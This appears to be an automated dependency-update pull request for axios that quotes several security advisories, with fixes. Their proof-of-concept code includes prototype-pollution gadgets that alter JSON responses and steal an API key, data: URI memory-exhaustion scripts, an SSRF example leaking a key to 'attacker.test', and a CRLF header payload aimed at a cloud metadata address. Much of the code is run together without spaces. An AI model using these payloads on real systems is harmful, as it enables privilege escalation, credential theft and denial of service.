The vulnerable code resides exclusively in lib/adapters/http.js. The prototype pollution source does not need to originate from Axios itself — any prototype pollution primitive in any dependency in the application's dependency tree is sufficient to trigger this gadget.

Prerequisites:

A prototype pollution primitive must exist somewhere in the application's dependency chain (e.g., via lodash.merge, qs, JSON5, or any deep-merge utility processing attacker-controlled input). The pollution source is not required to be in Axios.
The application must use Axios to make HTTP requests with a data payload (POST, PUT, PATCH).

Details

The vulnerability is in lib/adapters/http.js, in the data serialization pipeline:

// lib/adapters/http.js }elseif(utils.isFormData(data)&&utils.isFunction(data.getHeaders)){headers.set(data.getHeaders());// ...}

Axios uses two sequential duck-type checks, both of which can be satisfied via prototype pollution:

1. utils.isFormData(data) — lib/utils.js

constisFormData=(thing)=>{letkind;returnthing&&((typeofFormData==='function'&&thinginstanceofFormData)||(isFunction(thing.append)&&((kind=kindOf(thing))==='formdata'||(kind==='object'&&isFunction(thing.toString)&&thing.toString()==='[object FormData]'))))}

2. utils.isFunction(data.getHeaders) — Duck-type for form-data npm package

// Returns true if Object.prototype.getHeaders is a functionutils.isFunction(data.getHeaders)

PoC

// Simulate Prototype PollutionObject.prototype[Symbol.toStringTag]='FormData';Object.prototype.append=()=>{};Object.prototype.getHeaders=()=>{constheaders=Object.create(null);(....Introduceherealltheheadersyouwant....)returnheaders;};Object.prototype.pipe=function(d){if(d&&d.end)d.end();returnd;};Object.prototype.on=function(){returnthis;};Object.prototype.once=function(){returnthis;};// Legitimate application codeconstresponse=awaitaxios.post('https://internal-api.company.com/admin/delete',{userId: 42},{headers: {'Authorization': 'Bearer VALID_USER_TOKEN'}});

Impact

Authentication Bypass (CVSS: C:H)
Session Fixation (CVSS: I:H)
Privilege Escalation (CVSS: C:H, I:H)
IP Spoofing / WAF Bypass (CVSS: I:H)

Note on Scope: There is an argument to promote this from S:U to S:C (Scope: Changed), which would raise the score to 10.0. In some architectures, Axios is commonly used for service to service communication where downstream services trust identity headers (Authorization, X-Role, X-User-ID, X-Tenant-ID) forwarded from upstream API gateways. In this scenario, the vulnerable component (Axios in Service A) and the impacted component (Service B, which acts on the injected identity) are under different security authorities. The injected headers cross a trust boundary, meaning the impact extends beyond the security scope of the vulnerable component, the CVSS v3.1 definition of a Scope Change. We conservatively score S:U here, but maintainers should evaluate which one applies better here.

Recommended Fix

Add an explicit own-property check in lib/adapters/http.js:

- } else if (utils.isFormData(data) && utils.isFunction(data.getHeaders)) {- headers.set(data.getHeaders());+ } else if (utils.isFormData(data) && utils.isFunction(data.getHeaders) &&+ Object.prototype.hasOwnProperty.call(data, 'getHeaders')) {+ headers.set(data.getHeaders());

Severity

CVSS Score: 7.4 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams

More information

Details

Vulnerability Disclosure: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams

Summary

The encode() function in lib/helpers/AxiosURLSearchParams.js contains a character mapping (charMap) at line 21 that reverses the safe percent-encoding of null bytes. After encodeURIComponent('\x00') correctly produces the safe sequence %00, the charMap entry '%00': '\x00' converts it back to a raw null byte.

This is a clear encoding defect: every other charMap entry encodes in the safe direction (literal → percent-encoded), while this single entry decodes in the opposite (dangerous) direction.

Severity: Low (CVSS 3.7)
Affected Versions: All versions containing this charMap entry
Vulnerable Component:lib/helpers/AxiosURLSearchParams.js:21

CWE

CWE-626: Null Byte Interaction Error (Poison Null Byte)
CWE-116: Improper Encoding or Escaping of Output

CVSS 3.1

Score: 3.7 (Low)

Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

Metric	Value	Justification
Attack Vector	Network	Attacker controls input parameters remotely
Attack Complexity	High	Standard axios request flow (`buildURL`) uses its own `encode` function which does NOT have this bug. Only triggered via direct `AxiosURLSearchParams.toString()` without an encoder, or via custom `paramsSerializer` delegation
Privileges Required	None	No authentication needed
User Interaction	None	No user interaction required
Scope	Unchanged	Impact limited to HTTP request URL
Confidentiality	None	No confidentiality impact
Integrity	Low	Null byte in URL can cause truncation in C-based backends, but requires a vulnerable downstream parser
Availability	None	No availability impact

Vulnerable Code

File:lib/helpers/AxiosURLSearchParams.js, lines 13-26

functionencode(str){constcharMap={'!': '%21',// literal → encoded (SAFE direction)"'": '%27',// literal → encoded (SAFE direction)'(': '%28',// literal → encoded (SAFE direction)')': '%29',// literal → encoded (SAFE direction)'~': '%7E',// literal → encoded (SAFE direction)'%20': '+',// standard transformation (SAFE)'%00': '\x00',// LINE 21: encoded → raw null byte (UNSAFE direction!)};returnencodeURIComponent(str).replace(/[!'()~]|%20|%00/g,functionreplacer(match){returncharMap[match];});}

Why the Standard Flow Is NOT Affected

// buildURL.js:36 — uses its OWN encode function (lines 14-20), not AxiosURLSearchParams'sconst_encode=(options&&options.encode)||encode;// buildURL's encode// buildURL.js:53 — passes buildURL's encode to AxiosURLSearchParamsnewAxiosURLSearchParams(params,_options).toString(_encode);// external encoder used// AxiosURLSearchParams.js:48 — when encoder is provided, internal encode is NOT usedconst_encode=encoder ? function(value){returnencoder.call(this,value,encode);} : encode;// ^^^^^^// internal encode passed as 2nd arg but only used if// the external encoder explicitly delegates to it

Proof of Concept

importAxiosURLSearchParamsfrom'./lib/helpers/AxiosURLSearchParams.js';importbuildURLfrom'./lib/helpers/buildURL.js';// Test 1: Direct AxiosURLSearchParams (VULNERABLE path)constparams=newAxiosURLSearchParams({file: 'test\x00.txt'});constresult=params.toString();// NO encoder → uses internal encode with charMapconsole.log('Direct toString():',JSON.stringify(result));// Output: "file=test\u0000.txt" (contains raw null byte)console.log('Hex:',Buffer.from(result).toString('hex'));// Output: 66696c653d74657374002e747874 (00 = null byte)// Test 2: Via buildURL (NOT vulnerable — standard axios flow)consturl=buildURL('http://example.com/api',{file: 'test\x00.txt'});console.log('Via buildURL:',url);// Output: http://example.com/api?file=test%00.txt (%00 preserved safely)

Verified PoC Output

Direct toString(): "file=test\u0000.txt"
Contains raw null byte: true
Hex: 66696c653d74657374002e747874
Via buildURL: http://example.com/api?file=test%00.txt
Contains raw null byte: false
Contains safe %00: true

Impact Analysis

Primary impact is limited because the standard axios request flow is not affected. However:

Direct API users: Applications using AxiosURLSearchParams directly for custom serialization are affected
Custom paramsSerializer: A paramsSerializer.encode that delegates to the internal encoder triggers the bug
Code defect signal: The directional inconsistency in charMap is a clear coding error with no legitimate use case

If null bytes reach a downstream C-based parser, impacts include URL truncation, WAF bypass, and log injection.

Recommended Fix

Remove the %00 entry from charMap and update the regex:

functionencode(str){constcharMap={'!': '%21',"'": '%27','(': '%28',')': '%29','~': '%7E','%20': '+',// REMOVED: '%00': '\x00'};returnencodeURIComponent(str).replace(/[!'()~]|%20/g,functionreplacer(match){// ^^^^ removed |%00returncharMap[match];});}

Resources

Timeline

Date	Event
2026-04-15	Vulnerability discovered during source code audit
2026-04-16	Report revised: documented standard-flow limitation, corrected CVSS
TBD	Report submitted to vendor via GitHub Security Advisory

Severity

CVSS Score: 3.7 / 10 (Low)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios: HTTP adapter streamed responses bypass maxContentLength

More information

Details

Summary

When responseType: 'stream' is used, Axios returns the response stream without enforcing maxContentLength. This bypasses configured response-size limits and allows unbounded downstream consumption.

Details

In lib/adapters/http.js:

786-789: for responseType === 'stream', Axios immediately settles with the stream.
797-810: maxContentLength enforcement exists only in the non-stream buffering branch.

So callers may set maxContentLength and still receive/read arbitrarily large streamed responses.

PoC

Environment:

Axios main at commit f7a4ee2
Node v24.2.0

Steps:

Start an HTTP server that returns a 2 MiB response body.
Call Axios with:
- adapter: 'http'
- responseType: 'stream'
- maxContentLength: 1024
Read the returned stream fully.

Observed:

Success; full 2097152 bytes readable.

Control check:

Same endpoint with responseType: 'text' and same maxContentLength: rejected with maxContentLength size of 1024 exceeded.

Impact

Type: DoS / unbounded response processing.
Impacted: Node.js applications relying on maxContentLength as a safety boundary while using streamed Axios responses.

Severity

CVSS Score: 5.3 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios: Invisible JSON Response Tampering via Prototype Pollution Gadget in `parseReviver`

More information

Details

Vulnerability Disclosure: Invisible JSON Response Tampering via Prototype Pollution Gadget in `parseReviver`

Summary

The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into surgical, invisible modification of all JSON API responses — including privilege escalation, balance manipulation, and authorization bypass.

The default transformResponse function at lib/defaults/index.js:124 calls JSON.parse(data, this.parseReviver), where this is the merged config object. Because parseReviver is not present in Axios defaults, not validated by assertOptions, and not subject to any constraints, a polluted Object.prototype.parseReviver function is called for every key-value pair in every JSON response, allowing the attacker to selectively modify individual values while leaving the rest of the response intact.

This is strictly more powerful than the transformResponse gadget because:

No constraints — the reviver can return any value (no "must return true" requirement)
Selective modification — individual JSON keys can be changed while others remain untouched
Invisible — the response structure and most values look completely normal
Simultaneous exfiltration — the reviver sees the original values before modification

Severity: Critical (CVSS 9.1)
Affected Versions: All versions (v0.x - v1.x including v1.15.0)
Vulnerable Component:lib/defaults/index.js:124 (JSON.parse with prototype-inherited reviver)

CWE

CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes

CVSS 3.1

Score: 9.1 (Critical)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Metric	Value	Justification
Attack Vector	Network	PP is triggered remotely via any vulnerable dependency
Attack Complexity	Low	Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology
Privileges Required	None	No authentication needed
User Interaction	None	No user interaction required
Scope	Unchanged	Within the application process
Confidentiality	High	The reviver receives every key-value pair from every JSON response — full data exfiltration. In the PoC, `apiKey: "sk-secret-internal-key"` is captured
Integrity	High	Arbitrary, selective modification of any JSON value. No constraints. In the PoC, `isAdmin: false → true`, `role: "viewer" → "admin"`, `balance: 100 → 999999`. The response looks completely normal except for the surgically altered values
Availability	None	No crash, no error — the attack is entirely silent

Comparison with All Known Axios PP Gadgets

Factor	GHSA-fvcv-3m26-pcqx (Header Injection)	transformResponse	proxy (MITM)	parseReviver (This)
PP target	`Object.prototype['header']`	`Object.prototype.transformResponse`	`Object.prototype.proxy`	`Object.prototype.parseReviver`
Fixed by 1.15.0?	Yes	No	No	No
Constraints	N/A (fixed)	Must return `true`	None	None
Data modification	Header injection only	Response replaced with `true`	Full MITM	Selective per-key modification
Stealth	Request anomaly visible	Response becomes `true` (obvious)	Proxy visible in network	Completely invisible
Data access	Headers only	`this.auth` + raw response	All traffic	Every JSON key-value pair
Validated?	N/A	`assertOptions` validates	Not validated	Not validated
In defaults?	N/A	Yes → goes through mergeConfig	No → bypasses mergeConfig	No → bypasses mergeConfig

Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input.

If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), the polluted parseReviver function is automatically used by every Axios request that receives a JSON response. The developer's code is completely safe — no configuration errors needed.

Root Cause Analysis

The Attack Path

Object.prototype.parseReviver = function(key, value) { /* malicious */ }
│
▼
mergeConfig(defaults, userConfig)
│
│ parseReviver NOT in defaults → NOT iterated by mergeConfig
│ parseReviver NOT in userConfig → NOT iterated by mergeConfig
│ Merged config has NO own parseReviver property
│
▼
transformData.call(config, config.transformResponse, response)
│
│ Default transformResponse function runs (NOT overridden)
│
▼
defaults/index.js:124: JSON.parse(data, this.parseReviver)
│
│ this = config (merged config object, plain {})
│ config.parseReviver → NOT own property → traverses prototype chain
│ → finds Object.prototype.parseReviver → attacker's function!
│
▼
JSON.parse calls reviver for EVERY key-value pair
│
│ Attacker can: read original value, modify it, return anything
│ No validation, no constraints, no assertOptions check
│
▼
Application receives surgically modified JSON response

Why `parseReviver` Bypasses ALL Existing Protections

Not in defaults (lib/defaults/index.js): parseReviver is not defined in the defaults object, so mergeConfig's Object.keys({...defaults, ...userConfig}) iteration never encounters it. The merged config has no own parseReviver property.
Not in assertOptions schema (lib/core/Axios.js:135-142): The schema only contains {baseUrl, withXsrfToken}. parseReviver is not validated.
No type check: The JSON.parse API accepts any function as a reviver. There is no check that this.parseReviver is intentionally set.
Works INSIDE the default transform: Unlike transformResponse pollution (which replaces the entire transform and is caught by assertOptions), parseReviver pollution injects into the DEFAULT transformResponse function's JSON.parse call. The default function itself is not replaced, so assertOptions has nothing to catch.

Vulnerable Code

File:lib/defaults/index.js, line 124

transformResponse: [functiontransformResponse(data){// ... transitional checks ...if(data&&utils.isString(data)&&((forcedJSONParsing&&!this.responseType)||JSONRequested)){// ...try{returnJSON.parse(data,this.parseReviver);// ^^^^^^^^^^^^^^^^^// this = config// config.parseReviver → prototype chain → attacker's function}catch(e){// ...}}returndata;},],

Proof of Concept

importhttpfrom'http';importaxiosfrom'./index.js';// Server returns a realistic authorization responseconstserver=http.createServer((req,res)=>{res.writeHead(200,{'Content-Type': 'application/json'});res.end(JSON.stringify({user: 'john',role: 'viewer',isAdmin: false,canDelete: false,balance: 100,permissions: ['read'],apiKey: 'sk-secret-internal-key',}));});awaitnewPromise(r=>server.listen(0,r));constport=server.address().port;// === Before Pollution ===constbefore=awaitaxios.get(`http://127.0.0.1:${port}/api/me`);console.log('Before:',JSON.stringify(before.data));// {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,"balance":100,...}// === Simulate Prototype Pollution ===letstolen={};Object.prototype.parseReviver=function(key,value){// Silently capture all original valuesif(key&&typeofvalue!=='object')stolen[key]=value;// Surgically modify specific valuesif(key==='isAdmin')returntrue;// false → trueif(key==='role')return'admin';// viewer → adminif(key==='canDelete')returntrue;// false → trueif(key==='balance')return999999;// 100 → 999999returnvalue;// everything else unchanged};// === After Pollution — same code, same URL ===constafter=awaitaxios.get(`http://127.0.0.1:${port}/api/me`);console.log('After: ',JSON.stringify(after.data));// {"user":"john","role":"admin","isAdmin":true,"canDelete":true,"balance":999999,...}console.log('Stolen:',JSON.stringify(stolen));// {"user":"john","role":"viewer","isAdmin":false,...,"apiKey":"sk-secret-internal-key"}deleteObject.prototype.parseReviver;server.close();

Verified PoC Output

[1] Normal request (before pollution):
response.data: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,
"balance":100,"permissions":["read"],"apiKey":"sk-secret-internal-key"}
isAdmin: false
role: viewer
[2] Prototype Pollution: Object.prototype.parseReviver
Polluted with selective value modifier
[3] Same request (after pollution):
response.data: {"user":"john","role":"admin","isAdmin":true,"canDelete":true,
"balance":999999,"permissions":["read","write","delete","admin"],
"apiKey":"sk-secret-internal-key"}
isAdmin: true (was: false)
role: admin (was: viewer)
canDelete: true (was: false)
balance: 999999 (was: 100)
[4] Exfiltrated data (stolen silently):
apiKey: sk-secret-internal-key
All captured: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,
"balance":100,"apiKey":"sk-secret-internal-key"}
[5] Why this bypasses all checks:
parseReviver in defaults? NO
parseReviver in assertOptions schema? NO
parseReviver validated anywhere? NO
Must return true? NO — can return ANY value
Replaces entire transform? NO — works INSIDE default JSON.parse

Impact Analysis

1. Authorization / Privilege Escalation

// Server returns: {"role":"viewer","isAdmin":false}// Application sees: {"role":"admin","isAdmin":true}// → Application grants admin access to unprivileged user

2. Financial Manipulation

// Server returns: {"balance":100,"approved":false}// Application sees: {"balance":999999,"approved":true}// → Application approves a transaction that should be rejected

3. Security Control Bypass

// Server returns: {"mfaRequired":true,"accountLocked":true}// Application sees: {"mfaRequired":false,"accountLocked":false}// → Application skips MFA and unlocks a locked account

4. Silent Data Exfiltration

The reviver function receives the original value before modification. The attacker can silently capture all API keys, tokens, internal data, and PII from every JSON response while the application continues to function normally.

5. Universal and Invisible

Affects every Axios request that receives a JSON response
The response structure is intact — only specific values are changed
No errors, no crashes, no suspicious behavior
Application logs show normal-looking API responses with tampered values

Recommended Fix

Fix 1: Use `hasOwnProperty` check before using `parseReviver`

// FIXED: lib/defaults/index.jsconstreviver=Object.prototype.hasOwnProperty.call(this,'parseReviver')
? this.parseReviver
: undefined;returnJSON.parse(data,reviver);

Fix 2: Use null-prototype config object

// In lib/core/mergeConfig.jsconstconfig=Object.create(null);

Fix 3: Validate `parseReviver` type and source

// FIXED: lib/defaults/index.jsconstreviver=(typeofthis.parseReviver==='function'&&Object.prototype.hasOwnProperty.call(this,'parseReviver'))
? this.parseReviver
: undefined;returnJSON.parse(data,reviver);

Relationship to Other Reported Gadgets

This vulnerability shares the same root cause class — unsafe prototype chain traversal on the merged config object — with two other reported gadgets:

Report	PP Target	Code Location	Fix Location	Impact
axios_26	`transformResponse`	`mergeConfig.js:49` (defaultToConfig2)	`mergeConfig.js`	Credential theft, response replaced with `true`
axios_30	`proxy`	`http.js:670` (direct property access)	`http.js`	Full MITM, traffic interception
axios_31 (this)	`parseReviver`	`defaults/index.js:124` (this.parseReviver)	`defaults/index.js`	Selective JSON value tampering + data exfiltration

Why These Are Distinct Vulnerabilities

**Different polluted properties

✂ Note
PR body was truncated to here.

renovate · 2025-09-14T00:11:37Z

ℹ️ Note
This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Confidence
axios (source)	`1.7.7` → `1.18.0`

Axios is vulnerable to DoS attack through lack of data size check

More information

Details

Summary

When Axios runs on Node.js and is given a URL with the data: scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (Buffer/Blob) and returns a synthetic 200 response.
This path ignores maxContentLength / maxBodyLength (which only protect HTTP responses), so an attacker can supply a very large data: URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested responseType: 'stream'.

Details

The Node adapter (lib/adapters/http.js) supports the data: scheme. When axios encounters a request whose URL starts with data:, it does not perform an HTTP request. Instead, it calls fromDataURI() to decode the Base64 payload into a Buffer or Blob.

Relevant code from [httpAdapter](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231):

constfullPath=buildFullPath(config.baseURL,config.url,config.allowAbsoluteUrls);constparsed=newURL(fullPath,platform.hasBrowserEnv ? platform.origin : undefined);constprotocol=parsed.protocol||supportedProtocols[0];if(protocol==='data:'){letconvertedData;if(method!=='GET'){returnsettle(resolve,reject,{status: 405, ... });}convertedData=fromDataURI(config.url,responseType==='blob',{Blob: config.env&&config.env.Blob});returnsettle(resolve,reject,{data: convertedData,status: 200, ... });}

The decoder is in [lib/helpers/fromDataURI.js](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27):

exportdefaultfunctionfromDataURI(uri,asBlob,options){
...
if(protocol==='data'){uri=protocol.length ? uri.slice(protocol.length+1) : uri;constmatch=DATA_URL_PATTERN.exec(uri);
...
constbody=match[3];constbuffer=Buffer.from(decodeURIComponent(body),isBase64 ? 'base64' : 'utf8');if(asBlob){returnnew_Blob([buffer],{type: mime});}returnbuffer;}thrownewAxiosError('Unsupported protocol '+protocol, ...);}

The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks.
It does not honour config.maxContentLength or config.maxBodyLength, which only apply to HTTP streams.
As a result, a data: URI of arbitrary size can cause the Node process to allocate the entire content into memory.

In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when totalResponseBytes exceeds [maxContentLength](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for data: URIs.

PoC

constaxios=require('axios');asyncfunctionmain(){// this example decodes ~120 MBconstbase64Size=160_000_000;// 120 MB after decodingconstbase64='A'.repeat(base64Size);consturi='data:application/octet-stream;base64,'+base64;console.log('Generating URI with base64 length:',base64.length);constresponse=awaitaxios.get(uri,{responseType: 'arraybuffer'});console.log('Received bytes:',response.data.length);}main().catch(err=>{console.error('Error:',err.message);});

Run with limited heap to force a crash:

node --max-old-space-size=100 poc.js

Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error:

<--- Last few GCs --->
…
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
1: 0x… node::Abort() …
…

Mini Real App PoC:
A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore maxContentLength , maxBodyLength and decodes into memory on Node before streaming enabling DoS.

importexpressfrom"express";importmorganfrom"morgan";importaxiosfrom"axios";importhttpfrom"node:http";importhttpsfrom"node:https";import{PassThrough}from"node:stream";constkeepAlive=true;consthttpAgent=newhttp.Agent({ keepAlive,maxSockets: 100});consthttpsAgent=newhttps.Agent({ keepAlive,maxSockets: 100});constaxiosClient=axios.create({timeout: 10000,maxRedirects: 5,
httpAgent, httpsAgent,headers: {"User-Agent": "axios-poc-link-preview/0.1 (+node)"},validateStatus: c=>c>=200&&c<400});constapp=express();constPORT=Number(process.env.PORT||8081);constBODY_LIMIT=process.env.MAX_CLIENT_BODY||"50mb";app.use(express.json({limit: BODY_LIMIT}));app.use(morgan("combined"));app.get("/healthz",(req,res)=>res.send("ok"));/** * POST /preview { "url": "<http|https|data URL>" } * Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector). */app.post("/preview",async(req,res)=>{consturl=req.body?.url;if(!url)returnres.status(400).json({error: "missing url"});letu;try{u=newURL(String(url));}catch{returnres.status(400).json({error: "invalid url"});}// Developer allows using data:// in the allowlistconstallowed=newSet(["http:","https:","data:"]);if(!allowed.has(u.protocol))returnres.status(400).json({error: "unsupported scheme"});constcontroller=newAbortController();constonClose=()=>controller.abort();res.on("close",onClose);constbefore=process.memoryUsage().heapUsed;try{constr=awaitaxiosClient.get(u.toString(),{responseType: "stream",maxContentLength: 8*1024,// Axios will ignore this for data:maxBodyLength: 8*1024,// Axios will ignore this for data:signal: controller.signal});// stream only the first 64KB backconstcap=64*1024;letsent=0;constlimiter=newPassThrough();r.data.on("data",(chunk)=>{if(sent+chunk.length>cap){limiter.end();r.data.destroy();}else{sent+=chunk.length;limiter.write(chunk);}});r.data.on("end",()=>limiter.end());r.data.on("error",(e)=>limiter.destroy(e));constafter=process.memoryUsage().heapUsed;res.set("x-heap-increase-mb",((after-before)/1024/1024).toFixed(2));limiter.pipe(res);}catch(err){constafter=process.memoryUsage().heapUsed;res.set("x-heap-increase-mb",((after-before)/1024/1024).toFixed(2));res.status(502).json({error: String(err?.message||err)});}finally{res.off("close",onClose);}});app.listen(PORT,()=>{console.log(`axios-poc-link-preview listening on http://0.0.0.0:${PORT}`);console.log(`Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default ${BODY_LIMIT}).`);});

Run this app and send 3 post requests:

SIZE_MB=35 node -e 'const n=+process.env.SIZE_MB*1024*1024; const b=Buffer.alloc(n,65).toString("base64"); process.stdout.write(JSON.stringify({url:"data:application/octet-stream;base64,"+b}))' \
| tee payload.json >/dev/null
seq 1 3 | xargs -P3 -I{} curl -sS -X POST "$URL" -H 'Content-Type: application/json' --data-binary @payload.json -o /dev/null```

Suggestions

Enforce size limits
For protocol === 'data:', inspect the length of the Base64 payload before decoding. If config.maxContentLength or config.maxBodyLength is set, reject URIs whose payload exceeds the limit.
Stream decoding
Instead of decoding the entire payload in one Buffer.from call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios is Vulnerable to Denial of Service via proto Key in mergeConfig

More information

Details

Denial of Service via proto Key in mergeConfig

Summary

The mergeConfig function in axios crashes with a TypeError when processing configuration objects containing __proto__ as an own property. An attacker can trigger this by providing a malicious configuration object created via JSON.parse(), causing complete denial of service.

Details

The vulnerability exists in lib/core/mergeConfig.js at lines 98-101:

utils.forEach(Object.keys({ ...config1, ...config2}),functioncomputeConfigValue(prop){constmerge=mergeMap[prop]||mergeDeepProperties;constconfigValue=merge(config1[prop],config2[prop],prop);(utils.isUndefined(configValue)&&merge!==mergeDirectKeys)||(config[prop]=configValue);});

When prop is '__proto__':

JSON.parse('{"__proto__": {...}}') creates an object with __proto__ as an own enumerable property
Object.keys() includes '__proto__' in the iteration
mergeMap['__proto__'] performs prototype chain lookup, returning Object.prototype (truthy object)
The expression mergeMap[prop] || mergeDeepProperties evaluates to Object.prototype
Object.prototype(...) throws TypeError: merge is not a function

The mergeConfig function is called by:

Axios._request() at lib/core/Axios.js:75
Axios.getUri() at lib/core/Axios.js:201
All HTTP method shortcuts (get, post, etc.) at lib/core/Axios.js:211,224

PoC

importaxiosfrom"axios";constmaliciousConfig=JSON.parse('{"__proto__": {"x": 1}}');awaitaxios.get("https://httpbin.org/get",maliciousConfig);

Reproduction steps:

Clone axios repository or npm install axios
Create file poc.mjs with the code above
Run: node poc.mjs
Observe the TypeError crash

Verified output (axios 1.13.4):

TypeError: merge is not a function
at computeConfigValue (lib/core/mergeConfig.js:100:25)
at Object.forEach (lib/utils.js:280:10)
at mergeConfig (lib/core/mergeConfig.js:98:9)

Control tests performed:

Test	Config	Result
Normal config	`{"timeout": 5000}`	SUCCESS
Malicious config	`JSON.parse('{"__proto__": {"x": 1}}')`	CRASH
Nested object	`{"headers": {"X-Test": "value"}}`	SUCCESS

Attack scenario:
An application that accepts user input, parses it with JSON.parse(), and passes it to axios configuration will crash when receiving the payload {"__proto__": {"x": 1}}.

Impact

Denial of Service - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload.

Affected environments:

Node.js servers using axios for HTTP requests
Any backend that passes parsed JSON to axios configuration

This is NOT prototype pollution - the application crashes before any assignment occurs.

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL

More information

Details

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

importaxiosfrom"axios";constinternalAPIClient=axios.create({baseURL: "http://example.test/api/v1/users/",headers: {"X-API-KEY": "1234567890",},});// const userId = "123";constuserId="http://attacker.test/";awaitinternalAPIClient.get(userId);// SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

Set up two simple HTTP servers:

mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &

Create a script (e.g., main.js):

importaxiosfrom"axios";constclient=axios.create({baseURL: "http://localhost:10001/"});constresponse=awaitclient.get("http://localhost:10002/");console.log(response.data);

Run the script:

$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.

Severity

CVSS Score: 7.7 / 10 (High)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios has Unrestricted Cloud Metadata Exfiltration via Header Injection Chain

More information

Details

Vulnerability Disclosure: Unrestricted Cloud Metadata Exfiltration via Header Injection Chain

Summary

The Axios library is vulnerable to a specific gadget-style attack chain in which prototype pollution in a third-party dependency may be leveraged to inject unsanitized header values into outbound requests.

Axios can be used as a gadget after pollution occurs elsewhere because header values merged from attacker-controlled prototype properties are not sanitized for CRLF (\r\n) characters before being written to the request. In affected deployments, this may enable limited request manipulation or metadata access as part of a higher-complexity exploit chain.

Severity: Moderate (CVSS 3.1 Base Score: 4.8)
Affected Versions: All versions (v0.x - v1.x)
Vulnerable Component: lib/adapters/http.js (Header Processing)

Usage of "Helper" Vulnerabilities

This issue requires a separate prototype pollution vulnerability in another library in the application stack (for example, qs, minimist, ini, or body-parser). If an attacker can pollute Object.prototype, Axios may pick up the polluted properties during config merge.

Because Axios does not sanitise these merged header values for CRLF (\r\n) characters, the polluted property can alter the structure of an outbound HTTP request.

Proof of Concept

1. The Setup (Simulated Pollution)

Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:

Object.prototype['x-amz-target']= \"dummy\r\n\r\nPUT /latest/api/token HTTP/1.1\r\nHost: 169.254.169.254\r\nX-aws-ec2-metadata-token-ttl-seconds: 21600\r\n\r\nGET /ignore\";

2. The Gadget Trigger (Safe Code)

